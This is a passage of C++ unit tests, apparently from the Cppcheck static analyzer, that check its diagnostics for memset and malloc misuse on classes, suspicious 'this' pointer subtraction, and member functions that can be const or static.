checkNoMemset(\"class A {\\n\"\n \" std::array ints;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // std::array is POD (#5481)\n\n checkNoMemset(\"struct st {\\n\"\n \" std::uint8_t a;\\n\"\n \" std::atomic_bool b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f() {\\n\"\n \" st s;\\n\"\n \" std::memset(&s, 0, sizeof(st));\\n\"\n \"}\", settings);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void memsetOnFloat() {\n checkNoMemset(\"struct A {\\n\"\n \" float f;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (portability) Using memset() on struct which contains a floating point number. [memsetClassFloat]\\n\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" float f[4];\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (portability) Using memset() on struct which contains a floating point number. [memsetClassFloat]\\n\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" float f[4];\\n\"\n \"};\\n\"\n \"void f(const A& b) {\\n\"\n \" A a;\\n\"\n \" memcpy(&a, &b, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" float* f;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void memsetOnUnknown() {\n checkNoMemset(\"void clang_tokenize(CXToken **Tokens) {\\n\"\n \" *Tokens = (CXToken *)malloc(sizeof(CXToken) * CXTokens.size());\\n\"\n \" memmove(*Tokens, CXTokens.data(), sizeof(CXToken) * CXTokens.size());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mallocOnClass() {\n checkNoMemset(\"class C { C() {} };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:1:1]: (warning) Memory for class instance allocated with malloc(), but class provides constructors. [mallocOnClassWarning]\\n\", errout_str());\n\n checkNoMemset(\"class C { C(int z, Foo bar) { bar(); } };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:1:1]: (warning) Memory for class instance allocated with malloc(), but class provides constructors. [mallocOnClassWarning]\\n\", errout_str());\n\n checkNoMemset(\"struct C { C() {} };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = realloc(p, sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:1:1]: (warning) Memory for class instance allocated with realloc(), but class provides constructors. [mallocOnClassWarning]\\n\", errout_str());\n\n checkNoMemset(\"struct C { virtual void bar(); };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:1:1]: (error) Memory for class instance allocated with malloc(), but class contains a virtual function. [mallocOnClassError]\\n\", errout_str());\n\n checkNoMemset(\"struct C { std::string s; };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:1:1]: (error) Memory for class instance allocated with malloc(), but class contains a 'std::string'. [mallocOnClassError]\\n\", errout_str());\n\n checkNoMemset(\"class C { };\\n\" // C-Style class/struct\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct C { C() {} };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = new C();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class C { C() {} };\\n\"\n \"void foo(D*& p) {\\n\" // Unknown type\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class AutoCloseFD {\\n\"\n \" int fd;\\n\"\n \"public:\\n\"\n \" AutoCloseFD(int fd);\\n\"\n \" ~AutoCloseFD();\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" AutoCloseFD fd = open(\\\"abc\\\", O_RDONLY | O_CLOEXEC);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct C {\\n\" // #12313\n \" char* p;\\n\"\n \" C(char* ptr) : p(ptr) {}\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c = strdup(\\\"abc\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkThisSubtraction(...) checkThisSubtraction_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkThisSubtraction_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n checkClass.thisSubtraction();\n }\n\n void this_subtraction() {\n checkThisSubtraction(\"; this-x ;\");\n ASSERT_EQUALS(\"[test.cpp:1:3]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\", errout_str());\n\n checkThisSubtraction(\"; *this = *this-x ;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisSubtraction(\"; *this = *this-x ;\\n\"\n \"this-x ;\");\n ASSERT_EQUALS(\"[test.cpp:2:1]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\", errout_str());\n\n checkThisSubtraction(\"; *this = *this-x ;\\n\"\n \"this-x ;\\n\"\n \"this-x ;\");\n ASSERT_EQUALS(\"[test.cpp:2:1]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\"\n \"[test.cpp:3:1]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\", errout_str());\n }\n\n struct CheckConstOptions\n {\n CheckConstOptions() = default;\n const Settings *s = nullptr;\n bool inconclusive = true;\n };\n\n#define checkConst(...) checkConst_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkConst_(const char* file, int line, const char (&code)[size], const CheckConstOptions& options = make_default_obj()) {\n const Settings settings = settingsBuilder(options.s ? *options.s : settings0).certainty(Certainty::inconclusive, options.inconclusive).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkConst)();\n }\n\n void const1() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int getA() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'Fred::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" const std::string foo() { return \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" const std::string & foo() { return \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // constructors can't be const..\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" Fred() { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment through |=..\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int setA() { a |= true; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // functions with a call to a member function can only be const, if that member function is const, too.. (#1305)\n checkConst(\"class foo {\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" void a() { x = 1; }\\n\"\n \" void b() { a(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" int a() const { return x; }\\n\"\n \" void b() { a(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style, inconclusive) Technically the member function 'Fred::b' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" void b() { a(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'Fred::b' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // static functions can't be const..\n checkConst(\"class foo\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" static unsigned get()\\n\"\n \" { return 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" const std::string foo() const throw() { return \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const2() {\n // ticket 1344\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo() { s = \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument reference can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a) { a = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a) { s = a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument references can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { a = s; b = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { s = a; s = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { s = a; b = a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { a = s; s = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const3() {\n // assignment to function argument pointer can be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a) { *a = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a) { s = *a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument pointers can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { *a = s; *b = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { s = *a; s = *b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { s = *a; *b = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { *a = s; s = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const4() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \"};\\n\"\n \"int Fred::getA() { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:5:11]: (style, inconclusive) Technically the member function 'Fred::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" const std::string & foo();\\n\"\n \"};\\n\"\n \"const std::string & Fred::foo() { return \\\"\\\"; }\");\n ASSERT_EQUALS(\"[test.cpp:3:25] -> [test.cpp:5:27]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // functions with a function call to a non-const member can't be const.. (#1305)\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" void a() { x = 1; }\\n\"\n \" void b();\\n\"\n \"};\\n\"\n \"void Fred::b() { a(); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // static functions can't be const..\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" static unsigned get();\\n\"\n \"};\\n\"\n \"static unsigned Fred::get() { return 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo();\\n\"\n \"};\\n\"\n \"void Fred::foo() { s = \\\"\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument reference can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a) { a = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a) { s = a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument references can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { a = s; b = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { s = a; s = b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { s = a; b = a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { a = s; s = b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument pointer can be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a);\\n\"\n \"};\\n\"\n \"void Fred::foo(int * a) { *a = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a);\\n\"\n \"};\\n\"\n \"void Fred::foo(int * a) { s = *a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument pointers can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { *a = s; *b = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { s = *a; s = *b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { s = *a; *b = s; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { *a = s; s = b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // check functions with same name\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo();\\n\"\n \" void foo(std::string & a);\\n\"\n \" void foo(const std::string & a);\\n\"\n \"};\\n\"\n \"void Fred::foo() { }\"\n \"void Fred::foo(std::string & a) { a = s; }\"\n \"void Fred::foo(const std::string & a) { s = a; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:7:12]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:4:10] -> [test.cpp:7:32]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // check functions with different or missing parameter names\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo1(int, int);\\n\"\n \" void foo2(int a, int b);\\n\"\n \" void foo3(int, int b);\\n\"\n \" void foo4(int a, int);\\n\"\n \" void foo5(int a, int b);\\n\"\n \"};\\n\"\n \"void Fred::foo1(int a, int b) { }\\n\"\n \"void Fred::foo2(int c, int d) { }\\n\"\n \"void Fred::foo3(int a, int b) { }\\n\"\n \"void Fred::foo4(int a, int b) { }\\n\"\n \"void Fred::foo5(int, int) { }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:9:12]: (performance, inconclusive) Technically the member function 'Fred::foo1' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:4:10] -> [test.cpp:10:12]: (performance, inconclusive) Technically the member function 'Fred::foo2' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:5:10] -> [test.cpp:11:12]: (performance, inconclusive) Technically the member function 'Fred::foo3' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:6:10] -> [test.cpp:12:12]: (performance, inconclusive) Technically the member function 'Fred::foo4' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:7:10] -> [test.cpp:13:12]: (performance, inconclusive) Technically the member function 'Fred::foo5' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // check nested classes\n checkConst(\"class Fred {\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA() { return a; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style, inconclusive) Technically the member function 'Fred::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" int A::getA() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:6:12]: (style, inconclusive) Technically the member function 'Fred::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \"};\\n\"\n \"int Fred::A::getA() { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:7:14]: (style, inconclusive) Technically the member function 'Fred::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n // check deeply nested classes\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB() { return b; }\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA() { return a; }\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\"\n , errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB();\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" int A::getA() { return a; }\\n\"\n \" };\\n\"\n \" int B::getB() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:11:12]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17] -> [test.cpp:9:16]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB();\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" };\\n\"\n \" int B::A::getA() { return a; }\\n\"\n \" int B::getB() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:11:12]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17] -> [test.cpp:10:15]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB();\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\\n\"\n \"int Fred::B::A::getA() { return a; }\\n\"\n \"int Fred::B::getB() { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:12:14]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17] -> [test.cpp:11:17]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\", errout_str());\n }\n\n // operator< can often be const\n void constoperator1() {\n checkConst(\"struct Fred {\\n\"\n \" int a;\\n\"\n \" bool operator<(const Fred &f) { return a < f.a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::operator<' can be const. [functionConst]\\n\", errout_str());\n }\n\n // operator<<\n void constoperator2() {\n checkConst(\"struct Foo {\\n\"\n \" void operator<<(int);\\n\"\n \"};\\n\"\n \"struct Fred {\\n\"\n \" Foo foo;\\n\"\n \" void x()\\n\"\n \" {\\n\"\n \" foo << 123;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Foo {\\n\"\n \" void operator<<(int);\\n\"\n \"};\\n\"\n \"struct Fred {\\n\"\n \" Foo foo;\\n\"\n \" void x()\\n\"\n \" {\\n\"\n \" std::cout << foo << 123;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style, inconclusive) Technically the member function 'Fred::x' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constoperator3() {\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" int const & operator [] (unsigned int index) const { return array[index]; }\\n\"\n \" int & operator [] (unsigned int index) { return array[index]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" int const & operator [] (unsigned int index) { return array[index]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style, inconclusive) Technically the member function 'Fred::operator[]' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constoperator4() {\n // #7953\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator int*() { return &c; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator const int*() { return &c; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style, inconclusive) Technically the member function 'A::operatorconstint*' can be const. [functionConst]\\n\", errout_str());\n\n // #2375\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" typedef int* (Fred::*UnspecifiedBoolType);\\n\"\n \" operator UnspecifiedBoolType() { };\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (style, inconclusive) Technically the member function 'Fred::operatorint**' can be const.\\n\", \"\", errout_str());\n\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" typedef int* (Fred::*UnspecifiedBoolType);\\n\"\n \" operator UnspecifiedBoolType() { array[0] = 0; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constoperator5() { // ticket #3252\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator int& () {return c}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator const int& () {return c}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style, inconclusive) Technically the member function 'A::operatorconstint&' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" operator int () {return c}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style, inconclusive) Technically the member function 'A::operatorint' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constoperator6() { // ticket #8669\n checkConst(\"class A {\\n\"\n \" int c;\\n\"\n \" void f() { os >> *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const5() {\n // ticket #1482\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \" bool foo(int i)\\n\"\n \" {\\n\"\n \" bool same;\\n\"\n \" same = (i == a);\\n\"\n \" return same;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'A::foo' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const6() {\n // ticket #1491\n checkConst(\"class foo {\\n\"\n \"public:\\n\"\n \"};\\n\"\n \"void bar() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void foo() { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct fast_string\\n\"\n \"{\\n\"\n \" union\\n\"\n \" {\\n\"\n \" char buff[100];\\n\"\n \" };\\n\"\n \" void set_type(char t);\\n\"\n \"};\\n\"\n \"inline void fast_string::set_type(char t)\\n\"\n \"{\\n\"\n \" buff[10] = t;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const7() {\n checkConst(\"class foo {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" void set(int i) { a = i; }\\n\"\n \" void set(const foo & f) { *this = f; }\\n\"\n \"};\\n\"\n \"void bar() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const8() {\n // ticket #1517\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A():m_strValue(\\\"\\\"){}\\n\"\n \" std::string strGetString() { return m_strValue; }\\n\"\n \"private:\\n\"\n \" std::string m_strValue;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: 